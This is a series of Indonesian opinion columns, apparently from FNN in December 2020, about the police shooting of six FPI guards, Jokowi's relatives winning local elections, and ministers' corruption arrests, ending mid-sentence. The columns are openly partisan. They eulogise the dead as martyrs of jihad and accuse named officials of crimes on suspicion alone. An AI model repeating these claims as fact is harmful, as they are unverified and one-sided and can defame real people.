penegakan hukum di negeri ini, di mana aparat negara dapat melakukan kekerasan hingga menghilangkan nyawa warga tanpa konsekuensi apapun, seolah-olah polisi berada di atas hukum (above the law). Promoter Polri dipertaruhkan PERTANYAAN sederhana muncul dalam perspektif hukum yang mudah untuk dikemukakan: Apakah HRS, yang sedang diduga melakukan kesalahan berupa pelanggaran protokol kesehatan di masa pandemi Covid 19, layak untuk dikuntit, dikejar dan dihadang serta ditangkap di KM 57 ruas tol Cikampek oleh petugas kepolisian, sekalipun ada issu rencana pengerahan massa? Kedua, kasusnya sendiri masih dalam penyelidikan, dan panggilan kepada HRS hanya panggilan klarifikasi, yang tidak ada konsekuensi hukumnya jika ia tidak hadir, berbeda kalau sudah masuk penyidikan dan pro justisia, maka akan berlaku ketentuan di KUHAP. Mengapa HRS diperlakukan sama dengan tersangka pelaku kejahatan dengan pemberatan, seperti perampokan, curat, atau terorisme. Adakah alasan hukum untuk menangkapnya dalam perjalanan Senin dini hari tersebut? Jika tidak ada, untuk apa ia dikuntit? Apakah HRS dan rombongannya adalah para tersangka pelaku kejahatan berat yang sedang dikejar dan hendak ditangkap oleh polisi, namun karena melakukan perlawanan, terjadilah peristiwa penembakan terhadap para tersangka tersebut? Jika tidak, inilah kesalahan substansial pihak aparat.Mengapa polisi begitu agresif dan sigap membuntuti setiap aktivitas HRS? Apakah agresifitas polisi ini inisiatif dari perintah pemimpin kepolisian di tingkat daerah ataupun pusat, yang ingin menunjukkan keberanian dalam bertindak, sebagaimana isyarat dari kriteria pemimpin Polri yang dikehendaki Presiden, yaitu berani, tegas dan tidak takut kehilangan jabatan? Sayangnya keberanian ini disalahtafsirkan dan justru jadi blunder, karena berisiko menjadi berlebihan. Keganjilan inilah yang menyebabkan munculnya tudingan sinis dan keras kepada kepolisian sebagai institusi negara. Peristiwa penembakan terhadap orang sipil yang menghilangkan nyawa enam anggota FPI tersebut dianggap merupakan bentuk kekerasan negara terhadap warga negara, serta dikategorikan sebagai kejahatan melawan kemanusiaan (crime against humanity), serta pelanggaran HAM berat. Tindakan kekerasan dengan menggunakan senjata api oleh petugas kepolisian bukanlah tanpa dasar regulasi yang ketat, Pada masa masa sebelumnya, tindakan kepolisian di lapangan secara terukur dan konsisten harus merujuk pada prinsip kepatutan dan proporsionalitas, setidaknya berdasarkan Perkap Nomor 8 Tahun 2009 tentang Implementasi Prinsip Standar HAM dalam Penyelenggaraan Tugas Polri dan Perkap Nomor 1 Tahun 2009 tentang Penggunaan Kekuatan. Ketika itu Kapolri Tito Karnavian yang mengarsiteki terbangunnya Kepolisian RI yang promoter (profesional, modern, dan terpercaya) tidak memberikan ruang terjadinya peristiwa konyol seperti ini. Polisi yang profesional tidak mungkin melakukan penembakan terhadap warga sipil yang tidak setara dengan pelanggaran hukum yang dilakukannya. Apalagi hingga menghilangkan nyawa warga negara secara sia-sia. Jika ini terjadi maka tidak ada alasan pembenarnya. Aparat kepolisian dibolehkan menggunakan senjata api hanya terhadap mereka yang memiliki bukti cukup telah melakukan kejahatan berat dan melakukan perlawanan ketika hendak ditangkap, hingga dinilai membahayakan nyawa petugas. Itupun harus melewati prosedur baku sebelum bertindak: yakni petugas harus menunjukkan identitasnya, memberikan peringatan, memberikan waktu kepada tersangka untuk menyerah, dan jika melawan barulah diberikan tembakan peringatan. Dengan semua pertimbangan tersebut, maka patutlah untuk segera diungkap bagaimana sebenarnya kondisi riil yang terjadi di balik peristiwa penembakan terhadap keenam warga sipil anggota Laskar FPI pada 7 Desember kelabu tersebut. Tim independen perlu segera dibentuk dan mulai bekerja sejak sekarang. Dunia kini sedang menyoroti negeri ini. Jangan sampai negeri kita dilabeli sebagai bangsa yang seenaknya merampas hak hidup warga negaranya.*** Penulis adalah praktisi hukum.

Damn I Love Indonesia: Bapak Presiden, Anak dan Menantu Walikota

by Hersubeno Arief Jakarta FNN - Rabu (09/12). Tanggal 9 Desember 2020 akan dicatat dalam sejarah politik kontemporer Indonesia. Presiden Jokowi mencatat sebuah prestasi baru, rekor. Anak dan menantunya memenangkan Pilkada. Gibran, anak sulungnya memenangkan Pilwakot Solo. Perolehan suaranya berdasarkan hasil sejumlah quick count, di atas 85%. Dahsyat! Di Medan Bobby Nasution menantu Jokowi juga diprediksi menang. Hasil quick count menunjukkan perolehan suaranya mencapai 55%. Prestasi luar biasa Jokowi ini tidak pernah dicapai oleh semua presiden sebelumnya. Termasuk dua presiden yang berkuasa cukup lama, Soekarno dan Soeharto. Presiden Soekarno, sang Proklamator, berkuasa selama 22 tahun (1945-1967). Tak satupun putra atau putrinya yang menduduki jabatan publik selama dia berkuasa. Baru 32 tahun kemudian, putrinya Megawati Soekarnoputri menjadi Wapres (1999) dan kemudian menjadi Presiden (2001-2004). Presiden Soeharto berkuasa lebih lama, 32 tahun. Baru berhasil menempatkan putrinya Siti Hardijanti Roekmana sebagai Mensos pada tahun 1998. Di penghujung masa jabatannya. Itu pun hanya bertahan selama 2,5 bulan. Mbak Tutut begitu dia biasa dipanggil, menjadi Mensos 14 Maret-21 Mei 1998. Presiden BJ Habibie dan Presiden Abdurahman Wahid (Gus Dur) yang sama-sama berkuasa dalam waktu singkat, sama sekali tidak berhasil meninggalkan warisan jabatan untuk anak-anaknya. Bos Jokowi, Megawati selama menjabat Presiden juga tidak menyiapkan jabatan publik untuk anak-anaknya. Putri mahkotanya Puan Maharani baru terjun ke politik dengan menjadi anggota DPR pada Pemilu 2009. Setelah Megawati tak lagi menjabat sebagai presiden. Benar, Puan kemudian menjadi Menko pada periode pertama masa jabatan Jokowi. Sekarang dia menjadi Ketua DPR RI. Tapi semua tidak dicapai pada masa Megawati menjabat sebagai presiden. Bagaimana dengan Presiden Susilo Bambang Yudhoyono? Dalam soal menempatkan putra dan menantunya dalam jabatan publik, dia kalah jauh dengan Jokowi. SBY bersamaan dengan masa jabatannya yang kedua baru berhasil menempatkan putra keduanya Edhie Baskoro sebagai anggota DPR RI (2009). Setelah tak menjabat sebagai Presiden, SBY mencoba peruntungannya. Dia mendorong putra sulungnya Agus Harimurti menjadi cagub DKI Jakarta. Eksperimen politik SBY gagal. Pada Pilkada DKI 2017 yang hiruk pikuk, Agus Harimurti kalah. Padahal dia sudah mengorbankan karir militernya yang cemerlang. Pemegang penghargaan Bintang Adi Makayasa, lulusan terbaik Akmil tahun 2000 ini, pangkatnya terhenti hanya sampai perwira menengah. Dia pensiun dengan pangkat terakhir, Mayor TNI. Benarlah jargon yang sering didengung-dengungkan oleh para pendukung Jokowi: PRESIDEN YANG LAIN NGAPAIN AJA! Damn!! I Love Indonesia! End. Penulis, wartawan senior FNN.co.id

Selamat Jalan Para Mujahid

Wahai para mujahid. Kalian lebih dahulu bertemu dengan Allah. Kalian adalah kekasih pilihan Allah. Kalian gugur karena membela ulama, habib yang senantiasa lantang membela agama Islam by Mangarahon Dongoran Jakarta, (FNN) - Rabu (9/12).Satu per satu ambulans pembawa jenazah laskar Front Pembela Islam (FPI) itu memasuki Jalan Petamburan II, Kelurahan Petambutan, Kecamatan Tanah Abang, Jakarta Pusat. Ambulans pertama dengan membawa jenazah Andi tiba pukuk 21.00.Harap maklum, kedatangan ambulans pembawa enam laskar ke markas FPI tersebut tidak sekaligus. Jenazah mereka dibawa dari Rumah Sakit Polri Kramat Jati, Jakarta Timur secara bergilir/bergantian. Ambulans kedua tiba sekitar 20 menit kemudian. Diikuti ambulan ketiga yang tiba sekitar pukul 21.34. Secara total, enam jenazah tiba di Petamburan sekitar pukul 22.34. Rata-rata jenazah tiba berselang waktu 15 menit. Ambulans pembawa jenazah tersebut kemudian mundur dan pintu belakangnya masuk Gang Paksi. Dari pintu gang tersebut, seluruh jenazah dibawa ke halaman rumah Habib Rizieq untuk dimandikan dan disalatkan. Halaman rumah tersebut biasa digunakan sebagai tempat pengajian (majelis taklim). Suasana haru begitu terasa sejak ambans melewati Jalan Petamburan Raya. Begitu mendengarkan raungan sirene ambulans, laskar FPI dan masyarakat yang berkumpul langsung mengucapkan, "Allahu Akbar." Kemudian ambulans yang dikawal laskar FPI sampai masuk FPI diiringi dengan ucapan, "La ilaha Illallah…" Kalimat la ilaha illallah pun semakin nyaring diucapkan ketika peti jenazah diturunkan dari mobil ambulans. Para laskar kemudian mengangkat peti jenazah sampai ke tempat pemandian jenazah yang sudah disiapkan. Masyarakat sangat antusias menunggu kedatangan ambulans yang membawa laskar yang ditembak polisi saat mengawal Habib Rizieq dan keluarga menuju pengajian keluarga inti di daerah Karawang. Walau mereka sama sekali tidak bisa melihat jenazahnya dan tidak kenal orangnya sewaktu hidup, namun mereka rela berdiri berjam-jam di sisi kiri dan kanan Jalan Petamburan Raya, terutama menuju Jalan Petamburan III. Seorang pria paruh baya mengungkapkan kegemasannya atas meninggalnya enam orang pengawal Habib Rizieq itu. "Rasanya ingin dendam, Pak. Saya tidak mengenal mereka (para mujahid). Tetapi kabar meninggalnya mereka akibat ditembak polisi, rasanya…" kata Anton sambil mengepalkan tangan ke dadanya. Pria tersebut bukan laskar dan bukan juga anggota Bang Japar. Sebab, terlihat jelas pakaiannya biasa. Kalau laskar jelas atribut dengan pakaian putih. Sedangkan Bang Japar dengan pakaian serba hitam dan peci merah. Anggota Bang Japar juga ikut mengamankan sekitar markas FPI. Tidak ada yang bisa masuk ke tempat pemandian maupun tempat yang disiapkan untuk mengkafani. Hanya pengurus FPI, laskar dan keluarga inti yang diizinkan masuk. Pengawalan jenazah sangat ketat. Ya, jenazah para syuhada itu hanya sebentar di Petamburan. Selesai dimandikan dan disalatkan, jenazah kemudian dibawa ke rumah keluarga. Ketua Umum FPI Ahmad Shabri Lubis kepada FNN.co.id mengatakan, jenazah dibawa ke rumah keluarga agar keluarga dan tetangga bisa tahlil. Keluarga dan tetangga bisa menyalatkan lagi. Sebab, tidak semua kerabat dan tetangga almarhum bisa datang ke Petamburan. Keberangkatan ke Mega Mendung dilakukan beriringan setelah berkumpul di sebuah rest area Jalan Tol Jagorawi (Jakarta-Bogor Ciawi). Sesuai rencana, jenazah kemudian akan di bawa ke Markas Syariah Mega Mendung, Kabupaten Bogor, Jawa Barat. Di tempat ini, jenazah yang insya Allah syahid ini dimakamkan. Ya hari ini, Rabu (9/12), jasad kalian satu per satu masuk liang kubur, tetapi semangat jihad kalian tidak akan pernah terkubur. Oh ya, ada peristiwa menarik di Mega Mendung. Berdasarkan video viral, kemarin sore, pelangi memperlihatkan keindahannya di kawasan gunung itu. Kemunculan pelangi seakan-akan ikut menyambut para mujahid yang dimakamkan di tempat tersebut. Wahai para mujahid. Kalian lebih dahulu bertemu dengan Allah. Kalian adalah kekasih pilihan Allah. Kalian gugur karena membela ulama, habib yang senantiasa lantang membela agama Islam. Kalian semua masih muda. Kalian dipilih dan gugur dengan senyum. Kalian telah mendahului kami yang lebih tua, dan belum tentu dipanggil Allah seperti kalian. Selamat jalan para mujahid. Syurga dengan berbagai kenikmatannya menunggu harumnya darah kalian.** Penulis, Wartawan Senior FNN.co.id.

6 Anggota FPI Yang Tewas, Martir Perubahan?

by M Rizal Fadillah Bandung FNN – Selasa (08/12). Hampir setiap perubahan politik yang bukan berlandaskan proses demokrasi, pemilu misalnya, selalu didahului oleh adanya martir. Mereka yang gugur dalam proses perjuangan untuk perubahan dan perbaikan. Adanya martir ini membangun semangat dan solidaritas perjuangan. Juga memperkuat tuntutan agar rezim cepat turun. Setiap penguasa biasanya selalu waspada akan adanya martir yang dapat melengserkan dirinya. Sebab penguasa harus berhadap-hadapan dengan kekuatan perlawanan yang semakin membesar dan berani. Perjuangan yang tidak lagi mengingat pada apapun resiko yang bakal dihadapi. Pada masa orde lama, pembunuhan terhadap "Tujuh Jendral Pahlawan Revolusi" yang kemudian dikenal “Peristiwa Lubang Buaya” adalah titik kulminasi rezim Soekarno menuju kejatuhannya. Betapa besar kekuatan Partai Komunis Indonesia (PKI) dan betapa berkuasanya Soekarno. Namun jatuh juga akibat dari jatuhnya martir para Jendral TNI Angkatan Darat. Soekarno boleh hebat dan digjaya. Menyebut namanya dengan Pemimpin Besar Revolusi. Namun dengan gerakan yasng tekenal dengan sebutan G-30S/PKI, yang membunuh para Jenderal TNI Angkatan darat, menjadi sebab dan momentum perubahan ambruknya kekuasaan Soekarno. Orde Lama ambruk dan jatuh. Tujuh Pahlawan Revolusi adalah martir untuk rezim Soekarno. Perubahan politik yang melahirkan gerakan reformasi, dan menumbangkan rezim Orde Baru ditengarai dengan penembakan mahasiswa. Empat orang mahasiswa Universitas Trisakti tewas oleh tembakan peluru tajam. Mereka adalah Elang Maulana, Heri Hertanto, Hafidin Royan, dan Hendriawan Sie. Mereka yang ditembak pada peristiwa tanggal 12 Mei 1998 ini dikenal dengan Tragedi Trisakti. Keempat mahasiswa ini adalah martir perjuangan reformasi. Pada bulan Mei 1998 itu pula Soeharto menyatakan mengundurkan diri dari jabatan sebagai Presiden. Orde Baru dengan segala kebesaran dan kedigjayaan selama 32 tahun berkuasa akhirnya tumbang. Sementara di masa rezim Jokowi, sejak kemenangan Pemilu yang dinilai kontroversial, telah berulang kali protes terjadi. Tewasnya 6 pengunjuk rasa pada peristiwa 21-22 Mei 2019 di depan Bawaslu RI, baik akibat tembakan maupun penganiayaan adalah warna awal kekuasaan Jokowi Priode kedua. Selanjutnya penuh dengan kegaduhan. Aksi unjuk rasa berulang kali terjadi untuk menentang revisi UU KPK, RUU HIP/BPIP, serta RUU Omnibus Law. Aksi revisi UU KPK menewaskan pengunjuk rasa yang tertembak. Martir. Rezim Jokowi meskipun rapuh tetapi masih mampu bertahan. Program deradikalisasi mengarah pada kelompok Islam. Umat Islam berjarak dengan kekuasaan. Bukan itu saja. Tokoh dan aktivis sering merasa terpojokkan oleh agenda kriminalisasi. Habib Rizieq Shihab (HRS) adalah salah seorang tokoh Islam yang juga menjadi obyek kriminalisasi itu. Kepulangan ke tanah air dari "pengasingan" di Makkah, tidak mengurangi gangguan dan terus menjadi target. Senin dini hari tanggal 7 Desember 2020 di area Tol Jakarta-Cikampek terjadi penguntitan terhadap rombongan keluarga inti HRS oleh orang yang kemudian diakuinya sebagai Polisi. Mobil pengawal HRS kemudian terpisah atau hilang. Terjadi penembakan terhadap enam orang anggota Laskar Front Pembela Islam (FPI) yang menjadi pengawal HRS hingga tewas. Polisi melalui Kapolda Metro Jaya, Irjen Muhmmad Fadil Imron menyatakan baku tembak antara polisi dengan laskar FPI. Sementara DPP FPI merilis bahwa anggotanya tak memiliki senjata api maupun senjata tajam. Karenanya FPI menyebut penembakan tersebut sebagai sebuah pembantaian. Tewas atau syahidnya enam anggota Laskar FPI yaitu Fais, Ambon, Reza, Andi, Lutfil, dan Kadhavi adalah wujud kekerasan dari arogansi kekuasaan Pemerintahan Jokowi. Bila terbukti memang anggota Laskar FPI ini tidak bersenjata, sebagaimana yang disampaikan oleh pihak DPP FPI, maka penembakan keenam orang tersebut merupakan suatu tindak kejahatan dan pembunuhan. Siapapun mereka, baik pelaku di lapangan, penyuruh, atau pihak yang membiarkan tindakan tersebut patut dikenakan sanksi berat. Intitusi Polisi dan Pemerintah harus bertanggungjawab. Kejadian seperti tidak bisa dibiarkan berlalu begitu saja dengan penjelasan dari Kapolda Metro Jaya. Dari keinginan adanya perubahan secara konstitusional, maka tewasnya enam orang anggota pengawal rombongan HRS dapat menjadi martir. Simpati dan dukungan kepada HRS dan FPI serta pada semangat perubahan yang dikenal dengan "Revolusi Akhlak" akan bertambah besar. Martir selalu jadi pemicu. Perkembangan pengusutan dari kasus penembakan anggota Polisi Polda Metro Jaya akan menentukan sikap dan reaksi publik. Masalah pelanggaran HAM itu tidaklah semata menjadi perhatian bangsa dan negara saja. Tetapi juga menjadi perhatian dunia internasional. Jika memang terjadi pembantaian, maka kiamat akan dialami oleh Kepolisian dan Pemerintah Jokowi. Martir akan selalu hadir, datang membayang-bayangi dan menghantui kekuasaan yang zalim dan semena-mena. Dengan demikian, Presiden adalah muara dari semua pertanggungjawaban. Penulis adalah Pemerhati Politik dan Kebangsaan.

Nyawa Manusia Di Indonesia Tak Berharga?

Perspektif Sosiologi Kewarganegaraan mencermati kematian enam anggota Laskar FPI by Ubedilah Badrun Saya cukup lama merenung atas peristiwa yang menimpa enam anggota Laskar Front Pembela Islam(FPI) yang sedang mengawal Habieb Riziq Shihab (HRS) menuju pengajian subuh keluarga inti. Mereka para korban enam orang itu relatif masih muda. Yang pasti mereka adalah warga negara Indonesia. Perenungan itu dimulai dengan pertanyaan mengapa itu terjadi? Bagaimana peristiwanya? Dapatkah peristiwa itu dibenarkan atau disalahkan secara hukum? Apa argumenya? Apa buktinya? Jika itu tugas pengintaian polisi apakah ada bukti rekaman videonya? Sebagai akademisi sosiologi politik, saya mesti hati-hati menganalisis dan mengomentari peristiwa ini. Sebab ini soal nyawa manusia. Apalagi peristiwa yang kematianya melalui peristiwa penembakan. Bukan kematian yang biasa-biasa saja. Beberapa peristiwa kematian warga negara di republik ini dalam beberapa tahun terakhir sering terjadi. Sebut saja misalnya kematian Patmi petani Kendeng yang protesnya tidak didengar pemerintah. Patmi protes terhadap pembangunan pabrik Semen di pegunungan Kendeng pada tahun 2017. Patmi protes di depan Istana dengan menyemen kakinya. Kematian warga yang ditembak saat menolak pengukuran tanah di pesisir Pantai Marosi, Desa Patijala Bawa, Kecamatan Lamboya, Kabupaten Sumba Barat, Nusa Tenggara Timur. Seorang warga negara yang tertembak di bagian dada. Ini peristiwa terjadi pada April 2018. Kemudian kematian hampir 989 petugas KPPS pada pemilu 2019 lalu. Kematian sejumlah warga pada peristiwa demontrasi di depan kantor Bawaslu RI Mei 2019. Begitu juga dengan kematian dua mahasiswa di Kendari saat demonstrasi #reformasidikorupsi# menolak pelemahan KPK pada September 2019. Adalah sederet kematian yang masih misteri sampai saat ini. Sejumlah aktivis Hak Azasi Manusia (HAM) menyebut itu pelanggaran HAM baru. Pelanggaran HAM yang lama saja belum ada yang dituntaskan, kini sudah ada pelanggaran HAM baru. Kasus-kasus lama pelanggaran HAM dari tahun 1960-an, 1970-an, 1980-an, 1990-an, hingga 2000-an seperti kasus Munir sampai saat ini belum terungkap. Kini sudah ada pelanggaran-pelanggaran HAM baru lagi. Sejauh ini sejumlah kematian warga negara episode pemerintahan Jokowi itu tak terungkap. Bahkan publik sampai saat ini masih bertanya-tanya tentang itu semua. Kini publik kembali dipertontonkan dengan kematian akibat penembakan terhadap enam anggota Laskar FPI. Menggunakan perspektif sosiologi politik kewarganegaraan (sosiologi kewargnegaraan), akan membuka mata hati kita untuk menempatkan manusia sebagai subyek. Siapapun dia, dan dengan latar belakang apapun dia, bukan untuk ditempatkan semata sebagai obyek. Warga negara adalah subyek yang terpenting dari yang penting-penting dalam entitas negara. Dalam terminologi sosiologi kewarganegaraan, manusia memiliki dua hak azasi, yaitu hak pasif dan hak aktif. Hak pasif merupakan hak yang diperoleh karena ia adalah manusia. Artinya semua manusia memiliki hak pasif tersebut, diantaranya hak untuk hidup. Sementara hak aktif adalah hak-hak seseorang yang merupakan anggota dari kelompok dalam entitas negara. Tidak semua orang mampu untuk mengekspresikan hak ini. Misalnya, hak untuk berpendapat dan hak berserikat. Juga hak untuk berorganisaai. Dengan demikian, setiap manusia sesungguhnya memiliki jaminan atas semua hak itu sebagai hak asasi warga negara. Tentu itu berlaku untuk siapapun, termasuk didalamnya adalah anggota dan Lakasr FPI. Mereka memiliki hak hidup sekaligus hak berserikat berorganisasi. Saya khawatir penembakan terhadap enam anggota Laskar FPI itu tidak menempatkan mereka sebagai subyek warga negara. Tetapi menempatkan mereka sebagai obyek konflik politik yang menyusup dalam cara berfikir operasi pengintaian yang dilakukan oleh negara. Giorgio Agamben dalam bukunya “Homo Sacer Sovereign Power and Bare Life” (Stanford University Press,1998) mengingatkan betapa pentingnya negara menempatkan warga negara sebagai subyek dengan seluruh hak azasinya. Bukan sekedar obyek administrasi, dimana negara boleh melakukan apapun terhadap warga negara. Ketika negara menempatkan warga negara semata-mata sebagai obyek, maka apa yang disebut Giorgio Agamben (1998) sebagai proses homo sacer bisa terjadi. Merasa menjadi manusia asing di negerinya sendiri bisa terjadi pada setiap warga negara. Saya mencermati, jika ini semua terjadi pada banyak kasus maka pelan tapi pasti ke-Indonesiaan kita terancam bubar. Cara kekuasaan negara merespon kritik, merespon oposisi dan menata keragaman dari masyarakat sipil (civil society) menjadi sangat menentukan keberadaan negara dimasa depan. Cara-cara yang represif dalam menempatkan warga negara sebagai obyek, harus segera diakhiri. Pertanyaannya, mengapa itu semua terjadi? Bisa saja dimungkinkan karena cara berfikir rezim dalam melihat warga negara hanya sebagai obyek bukan sebagai subyek. Secara sosiologi kewarganegaraan, posisi warga negara itu mestinya tidak hanya ditempatkan dalam ranah kewarganegaraan politik. Tetapi juga dalam ranah kewarganegaraan sosial dan kewarganegaraan sipil. Soal bagaimana peristiwa itu terjadi? Ada dua versi. Menurut versi Polda Metro Jaya penembakan itu dilakukan dalam situasi baku tembak sebagai bentuk perlindungan karena aparat terancam. Sementara menurut versi FPI itu dilakukan oleh aparat secara sepihak. Tanpa da baku tembak, karena anggota Laskar FPI tidak memiliki senjata api maupun senjata tajam lainnya. Penjelasan dari dua pihak yang berbeda memungkinkan adanya celah yang keliru. Pembentukan Tim Pencari Fakta Independen (TPFI) adalah solusi terbaik. Inisiator dan motor utama TPFI mesti dilakukan oleh Komisi Nasional Hak Azasi Manusia (Komnas HAM) sebagai institusi independen. TPFI biasanya akan mampu mengungkap secara detail kronologisnya. Besa kemungkinan akan ditemukan celah pelanggaranya dari sisi hukum dan hak azasi manusia. Pada titik ini kita semua berharap agar peristiwa tersebut terungkap secara terang benderang. Supaya kita semua tau bagaimana aparat penegak hukum polisi, Komnas HAM, Pengadilan HAM dan rezim pemerintah menempatkan hak azasi warga negara. Apakah menempatkan warga negara sebagai obyek kekuasaan semata, atau menempatkan warga negara sebagai subyek? Jika kasus ini tak terungkap sebagaimana kasus-kasus hak azasi manusia sebelumnya, maka kesimpulan bahwa nyawa manusia di Indonesia tidak berharga itu ada benarnya. Jika ini yang terjadi, ini adalah episode biadab hak azasi manusia di Indonesia. Episode gelap kemanusiaan negara republik. Penulis adalah Analis Sosial Politik Universitas Negeri Jakarta (UNJ).

Semua Menteri Harus Dicurigai Sebagai Koruptor

by Asyari Usman Medan FNN - Selasa (08/12). Menko Kemaritiman dan Investasi Luhut Binsar Pandjaitan (LBP) mengatakan pada 27 November 2020 terkait penangkapan Edhy Prabowo, bahwa tidak semua orang jelek. Menurut Luhut, Edhy itu orang baik. Menko meminta agar KPK tidak berlebihan. Berlebihan? Di mana KPK berlebihan? Lembaga musuh koruptor ini hanya menjalankan tugas pokok mereka. Tidak ada yang berlebihan. Bahkan, KPK melewatkan banyak kesempatan untuk menangkap koruptor. Kita tidak tahu entah sudah berapa puluh orang pejabat yang lolos dari OTT KPK sejak lembaga ini dimandulkan oleh perubahan UU tentang KPK yang disetujui bersama oleh DPR dan Presiden Jokowi. Tapi, sudahlah. Sekarang KPK berusaha kembali bekerja. Kembali menjalankan fungsinya. Semoga sungguh-sungguh telah dilepaskan dari kerangkengnya. Semoga juga bukan karena ‘politcal game’. Mari kita lihat apa arti penangkapan dua menteri Jokowi lewat OTT dalam rentang 10 hari. Edhy Prabowo (menteri kelautan) ditangkap pada 25 November 2020 dan Juliari Batubara (menteri sosial) diberi rompi oranye pada 5 Desember 2020. Dari penangkapan ini, ke mana pandangan harus diarahkan? Apa saja yang semestinya dilakukan oleh Presiden? Tidak sulit mencari makna penangkapan kedua menteri itu. Hanya ada satu tafsiran OTT kedua menteri tsb. Bahwa dari kedua OTT ini, Presiden Jokowi harus mencurigai semua anggota kabinetnya sebagai pelaku korupsi. Sebagai koruptor. Sekali lagi: harus mencurigai. Tak peduli apakah dia Menko, menteri, atau pejabat setingkat menteri. Tanpa kecuali. Dari latar belakang apa pun mereka. Mengapa semua mereka wajar dan harus dicurigai sebagai koruptor? Karena selama ini, selain dua menteri yang ditangkap itu, ada sekian menteri atau pejabat setingkat menteri yang terindikasi melakukan tindak pidana korupsi. Tempo hari ada Lukman Hakim Saifuddin (sewaktu menjabat sebagai menteri agama 2014-2019) yang dilaci kerjanya ditemukan uang tunai senilai 600 juta rupiah ketika KPK, pada 18 Maret 2019, melakukan penggeledahan di kantor Lukman terkait kasus jual-beli jabatan di lingkungan Kemenag. Entah mengapa, Lukman akhirnya lolos dari jerat KPK. Ada pula kasus “Buku Merah”. Yaitu, kasus korupsi (sekitar Oktober 2018) yang diduga kuat melibatkan seorang pejabat tinggi setingkat menteri. Kasus ini sempat menimbulkan kericuhan di KPK karena “Buku Merah”, sebagai barang bukti, patut diduga telah dirusak oleh dua penyidik KPK yang berasal dari Polri. “Buku Merah” adalah buku berisi catatan yang berkaitan dengan perkara suap Basuki Hariman –seorang pengusaha daging. Basuki divonis menyuap mantan hakim konstitusi Patrialis Akbar. Skandal “Buku Merah” akhirnya ditutup oleh Kepolisian. Tapi, waktu itu kuat sekali dugaan keterlibatan orang yang sangat tinggi di Polri. Seterusnya, belum lama ini Jaksa Agung Sanitiar (ST) Burhanuddin nyaris terseret masuk ke kasus suap yang dilakukan oleh pengusaha terpidana korupsi, Joko Tjandra (JT). Joko diduga memberikan sogok kepada para pejabat Kejaksaan Agung (Kejakgung) dalam upaya untuk mendapatkan fatwa bebas dari Mahkamah Agung (MA). Sekarang ini masih berlangsung persidangan Jaksa Pinangki Sirna Malasari (PSM). Dia ini disebut-sebut memiliki kedekatan dengan ST Burhanuddin. Ada proposal yang disebut ‘action plan’ sebesar 140 miliar untuk mendapatkan fatwa pembebasan JT. Joko menyatakan kesediaannya menandatangani kontrak ‘action plan’ itu dengan Jaksa Pinangki. Untuk mendapatkan fatwa dari MA itu, mustahil bisa dilakukan oleh Pinangki sendirian. Sebab, diperlukan semacam rekomendasi dari Jaksa Agung. Saat ini, dakwaan jaksa PU terhadap Pinangki direduksi agar tertuju hanya kepada Pinangki saja. Seolah pemangkasan atau pembonsaian dakwaan itu dilakukan untuk melindungi orang-orang besar di Kejakgung. Dalam babak fatwa 140 miliar ini, sangat patut diduga adanya peranan Jaksa Agung ST Burhanuddin. Sebab, sekali lagi, mustahil secara administratif dan struktural Jaksa Pinangki bisa mendapatkan fatwa pembebasan JT dari Ketua MA. Pada periode pertama, dua menteri Jokowi ditangkap KPK karena melakukan korupsi. Mereka dihukum penjara. Keduanya adalah Menteri Pemuda dan Olahraga Imam Nahrawi dan Menteri Sosial Idrus Marham kabinet 2014-2019. Jadi, ada empat menteri tertangkap melakukan korupsi dalam 6 tahun belakangan. Pantas diambil sebagai pelajaran besar. Mereka menjadi simbol yang sangat memalukan bagi Jokowi. Sebagai usul saja, sebelum tertangkap lagi menteri-menteri lain, ada baiknya Jokowi melakukan terapi preventif. Cek ulang saja mereka semuanya. Bebas atau tidak dari virus korupsi. Agar virus jahat itu tidak sampai masuk ke ruang kerja Presiden.[] (Penulis wartawan senior FNN.co.id)

Korupsi Bansos, Pengkhianatan Terhadap Rakyat Indonesia

by Tjahja Gunawan Jakarta FNN - Selasa (08/12). Praktek korupsi pada periode kedua Jokowi sebagai Presiden, sangat merajalela. Betapa tidak, dalam waktu dua minggu, ada dua menteri bawahan Jokowi yang terjerat kasus korupsi. Yakni Menteri Kelautan dan Perikanan Edhy Prabowo dan Menteri Sosial Juliari Batubara. Keduanya telah dijadikan tersangka dan ditahan KPK . Menteri Kelautan dan Perikanan Edhy Prabowo dari Partai Gerindra, ditangkap pada Kamis 25 November 2020. Dari hasil penyidikan KPK, Edhy Prabowo diduga menerima suap Rp 3,4 miliar dan uang sebesar 1.000 Dollar AS (Rp 1,4 miliar) terkait izin ekspor untuk benih lobster. Sedangkan Mensos Juliari Peter Batubara dari PDI Perjuangan, menjadi tersangka korupsi program bantuan sosial penanganan virus corona (Covid-19). Dalam kasus tersebut, KPK juga menetapkan 4 orang lainnya sebagai tersangka. Dari OTT ini, KPK menemukan uang dengan sejumlah pecahan mata uang asing. Masing-masing yakni sekitar Rp 11,9 miliar, sekitar 171.085 dollar AS, dan sekitar 23.000 dollar Singapura. Ini benar-benar sangat melukai hati rakyat. Di saat rakyat hidup prihatin akibat krisis ekonomi dan pandemi Covid-19, Mensos malah menyalahgunakan bantuan sosial. Na'udzubillah mindzalik. Jika ada bawahan yang tersangkut kasus pidana (korupsi) maka secara moral atasannyalah yang seharusnya bertanggung jawab. Oleh karena itu, Presiden Jokowi seharusnya bertanggungjawab atas praktek korupsi yang dilakukan menterinya. Bukan malah justru lepas tangan dengan berdalih menyerahkan sepenuhnya kasus korupsi tersebut kepada KPK. Di era rezim Jokowi ini, jumlah menteri sebanyak 34 orang. Kalau ditambah dengan Wakil Menteri dan pejabat sekelas menteri jumlahnya 43 orang. Sangat boleh jadi kasus dua menteri yang diciduk KPK ini, hanyalah puncak gunung es korupsi di negeri ini. Hal itu membuktikan bahwa Revolusi Mental yang digembar gemborkan Jokowi sejak tàhun 2014 telah gagal, karena korupsi masih merajalela di jajaran pemerintahan. Di saat rakyat menderita karena Covid19, justru dana bansos yang menjadi hak rakyat dikorupsi pejabat. Ini sungguh pengkhianatan besar terhadap rakyat Indonesia. Jika Presiden Jokowi cuci tangan atas ulah para menterinya yang melakukan korupsi, maka tinggal menunggu waktu terjadinya akumulasi kemarahan masyarakat terhadap rezim penguasa saat ini. Saat ini banyak masyarakat yang merasakan penderitaan ekonomi dan korban ketidakadilan. Kini keadaan situasi psikologis masyarakat sudah bagaikan api dalam sekam. Suatu saat nanti akan meledak. Masyarakat diperkirakan akan melampiaskan kekecewaan mereka terhadap para menteri yang korupsi melalui ajang Pilkada yang akan berlangsung secara serentak pada 9 Desember 2020. Calon-calon kepala daerah yang diusung oleh parpol dua menteri yang korup tersebut, diperkirakan akan jeblok dalam 